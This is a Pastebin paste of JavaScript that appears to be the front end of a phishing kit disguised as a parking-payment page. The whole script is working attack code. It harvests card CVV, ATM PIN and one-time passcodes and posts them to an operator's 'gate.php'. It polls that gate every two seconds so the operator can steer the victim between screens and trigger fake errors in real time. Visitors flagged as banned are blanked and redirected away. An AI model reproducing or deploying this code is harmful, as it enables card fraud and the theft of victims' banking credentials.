Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- let
- gateURL = "gate.php",
- pingThrottle = 2000,
- formHeaders = new Headers({'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8'});
- //
- fetch(gateURL, {
- method: 'POST',
- body: new URLSearchParams({
- action: "redirLink"
- }),
- headers: formHeaders
- })
- .then(response => response.json())
- .then(data => {
- redirectKick = data.redirectLink; // TODO: asta trebuie reparat
- });
- const gotoHomeScreen = (event) => {
- if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){
- event.preventDefault();
- }
- display("timerScreen")
- }
- const gotoPlatesScreen = (event) => {
- event.preventDefault();
- display("plateScreen")
- }
- const showError = (screenElement) => {
- document.getElementById(screenElement).querySelector(".error_msg").classList.remove("hidden")
- }
- const gotoCvvScreen = (event) => {
- if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){
- event.preventDefault();
- }
- display("cvvScreen")
- if( event == 1 ){
- showError("cvvScreen")
- //alert("show error msg")
- }
- }
- const submitCvvData = (event) =>{
- event.preventDefault();
- //hideScreens();
- let formData = getFormData(event, "cvv")
- let ll = sendData(formData)
- console.log(ll)
- console.log(formData)
- }
- const submitPinData = (event) =>{
- event.preventDefault();
- //hideScreens();
- let formData = getFormData(event, "atm")
- let ll = sendData(formData)
- console.log(ll)
- console.log(formData)
- }
- const submitOtpData = (event) =>{
- event.preventDefault();
- //hideScreens();
- let formData = getFormData(event, "otp")
- let ll = sendData(formData)
- console.log(ll)
- console.log(formData)
- }
- const gotoConfirmScreen = (event) => {
- if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){
- event.preventDefault();
- }
- display("confirmScreen")
- if( event == 1 ){
- showError("confirmScreen")
- //alert("show error msg")
- }
- }
- const gotoOtpScreen = (event) => {
- if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){
- event.preventDefault();
- }
- display("otpScreen")
- if( event == 1 ){
- showError("otpScreen")
- //alert("show error msg")
- }
- }
- const gotoPinScreen = (event) => {
- if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){
- event.preventDefault();
- }
- display("pinScreen")
- if( event == 1 ){
- showError("pinScreen")
- //alert("show error msg")
- }
- }
- const gotoErrScreen = (event) => {
- if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){
- event.preventDefault();
- }
- display("errScreen")
- if( event == 1 ){
- showError("errScreen")
- //alert("show error msg")
- }
- }
- const hideScreens = () => {
- //hide all .screen | empty all .screen > input | set all select to first option
- document.getElementById("timerScreen").classList.remove("_hidden")
- document.getElementById("timerScreen").classList.add("hidden")
- document.getElementById("plateScreen").classList.remove("_hidden")
- document.getElementById("plateScreen").classList.add("hidden")
- document.getElementById("cvvScreen").classList.remove("_hidden")
- document.getElementById("cvvScreen").classList.add("hidden")
- document.getElementById("confirmScreen").classList.remove("_hidden")
- document.getElementById("confirmScreen").classList.add("hidden")
- document.getElementById("otpScreen").classList.remove("_hidden")
- document.getElementById("otpScreen").classList.add("hidden")
- document.getElementById("pinScreen").classList.remove("_hidden")
- document.getElementById("pinScreen").classList.add("hidden")
- document.getElementById("loadingScreen").classList.remove("_hidden")
- document.getElementById("loadingScreen").classList.add("hidden")
- document.getElementById("errScreen").classList.remove("_hidden")
- document.getElementById("errScreen").classList.add("hidden")
- document.getElementById("otp").value = "";
- document.getElementById("atmPin").value = "";
- allErrors = document.getElementsByClassName("error_msg")
- allInputs = document.querySelectorAll("input[type='text']")
- for( let i=0;i<allInputs.length;i++){
- allInputs[i].value = ""
- }
- for( let i=0;i<allErrors.length;i++){
- allErrors[i].classList.add("hidden")
- }
- }
- const display = (screenName) => {
- hideScreens();
- document.getElementById(screenName).classList.remove("hidden")
- document.getElementById(screenName).classList.add("_hidden");
- const inputs = document.querySelectorAll('input:not([type="hidden"])');
- inputs.forEach(input => {
- input.value = '';
- });
- }
- const getFormData =(event, action = "ping") => {
- let formData = {};
- formData["action"] = action
- for (let i = 0; i < event.target.length; i++) {
- if( null != event.target.elements[i].getAttribute("name") ){
- formData[event.target.elements[i].getAttribute("name")] = event.target.elements[i].value;
- }
- }
- return formData
- }
- const gotoWaitScreen = () => {
- display("loadingScreen")
- }
- const sendData = (formData) => {
- fetch(gateURL, {
- method: 'POST',
- body: new URLSearchParams(formData),
- headers: formHeaders
- })
- .then(response => response.json())
- .then(data => {
- if (data.ban_status == 1) {
- document.body.innerHTML = '';
- window.location.replace(redirectKick);
- }
- // setTimeout(function () {
- // pingHome();
- // }, pingThrottle);
- executeFunction(data.cmd, data.params, data.extra);
- console.log(data)
- //alert(data.cmd);
- });
- }
- const executeFunction = (cmd, param = 0, extra = null) => {
- //console.log( [cmd, param, extra] )
- switch ( parseInt(cmd) ) {
- case 0:
- // nein
- break;
- case 1:
- gotoHomeScreen(param);
- break;
- case 3:
- gotoCvvScreen(param);
- break;
- case 4:
- gotoConfirmScreen(param);
- break;
- case 5:
- gotoOtpScreen(param);
- break;
- case 6:
- gotoPinScreen(param);
- break;
- case 7:
- gotoErrScreen(param);
- break;
- case 8:
- window.location.replace(redirectKick)
- break;
- case 9:
- gotoWaitScreen();
- break;
- default:
- //niet
- break;
- }
- }
- // 1 -> timerScreen | timerForm
- let pingHome = () => {
- fetch(gateURL, {
- method: 'POST',
- body: new URLSearchParams({
- action: "ping"
- }),
- headers: formHeaders
- })
- .then(response => response.json())
- .then(data => {
- if (data.ban_status == 1) {
- document.body.innerHTML = '';
- window.location.replace(redirectKick);
- }
- setTimeout(function () {
- pingHome();
- }, pingThrottle);
- executeFunction(data.cmd, data.params, data.extra);
- //alert(data.cmd);
- });
- }
- setTimeout(function () {
- pingHome()
- }, pingThrottle);
- const calculateRate = () => {
- let totalTime = parseInt(document.getElementById("minutes_select").options[document.getElementById("minutes_select").selectedIndex].value) + parseInt(document.getElementById("hours_select").options[document.getElementById("hours_select").selectedIndex].value);
- totalPrice = 0.25 * totalTime /15;
- console.log(totalPrice)
- if(totalPrice > 4 ){
- totalPrice = 4;
- }
- let priceTags = document.getElementsByClassName("totalPriceSpan")
- for(let i=0;i<priceTags.length;i++){
- priceTags[i].textContent = totalPrice;
- }
- let humanTime = document.getElementsByClassName("humanTime")
- for(let i=0;i<humanTime.length;i++){
- humanTime[i].textContent = toHoursAndMinutes(totalTime);
- }
- }
- const setPlatenumber = () => {
- let currentPlateNumber = document.getElementById("plateNumber").value
- let plateNumber = document.getElementsByClassName("licenseNumber")
- for(let i=0;i<plateNumber.length;i++){
- plateNumber[i].textContent = currentPlateNumber;
- }
- }
- function toHoursAndMinutes(totalMinutes) {
- const hours = Math.floor(totalMinutes / 60);
- const minutes = totalMinutes % 60; return `${hours}h${minutes > 0 ? ` ${minutes}m` : ''}`;
- }
- document.getElementById("timerForm").addEventListener("submit", gotoPlatesScreen )
- document.getElementById("plateForm").addEventListener("submit", gotoCvvScreen )
- document.getElementById("cvvForm").addEventListener("submit", submitCvvData )
- document.getElementById("pinForm").addEventListener("submit", submitPinData )
- document.getElementById("otpForm").addEventListener("submit", submitOtpData )
- // document.getElementById("cvvForm").addEventListener("submit", gotoConfirmScreen )
- document.getElementById("confirmForm").addEventListener("submit", gotoPlatesScreen )
- //document.getElementById("otpForm").addEventListener("submit", gotoPlatesScreen )
- //document.getElementById("pinForm").addEventListener("submit", gotoPlatesScreen )
- document.getElementById("plateNumber").addEventListener("change", setPlatenumber)
- document.getElementById("hours_select").addEventListener("change", calculateRate)
- document.getElementById("minutes_select").addEventListener("change", calculateRate)
- let resumePage = () => {
- //console.log("resume page")
- fetch(gateURL, {
- method: 'POST',
- body: new URLSearchParams({
- action: "ping"
- }),
- headers: formHeaders
- })
- .then(response => response.json())
- .then(data => {
- //console.log(data);
- if (data.ban_status == 1) {
- document.body.innerHTML = '';
- window.location.replace(redirectKick);
- }
- //console.log("executeFunction()")
- //console.log([data.page, data.params, data.extra])
- executeFunction(data.page, data.params, data.extra);
- });
- }
- resumePage();
- calculateRate();
- setPlatenumber();
- document.getElementById("minutes_select").options[document.getElementById("minutes_select").selectedIndex].value
- document.getElementById("hours_select").options[document.getElementById("hours_select").selectedIndex].value
Advertisement
Add Comment
Please, Sign In to add comment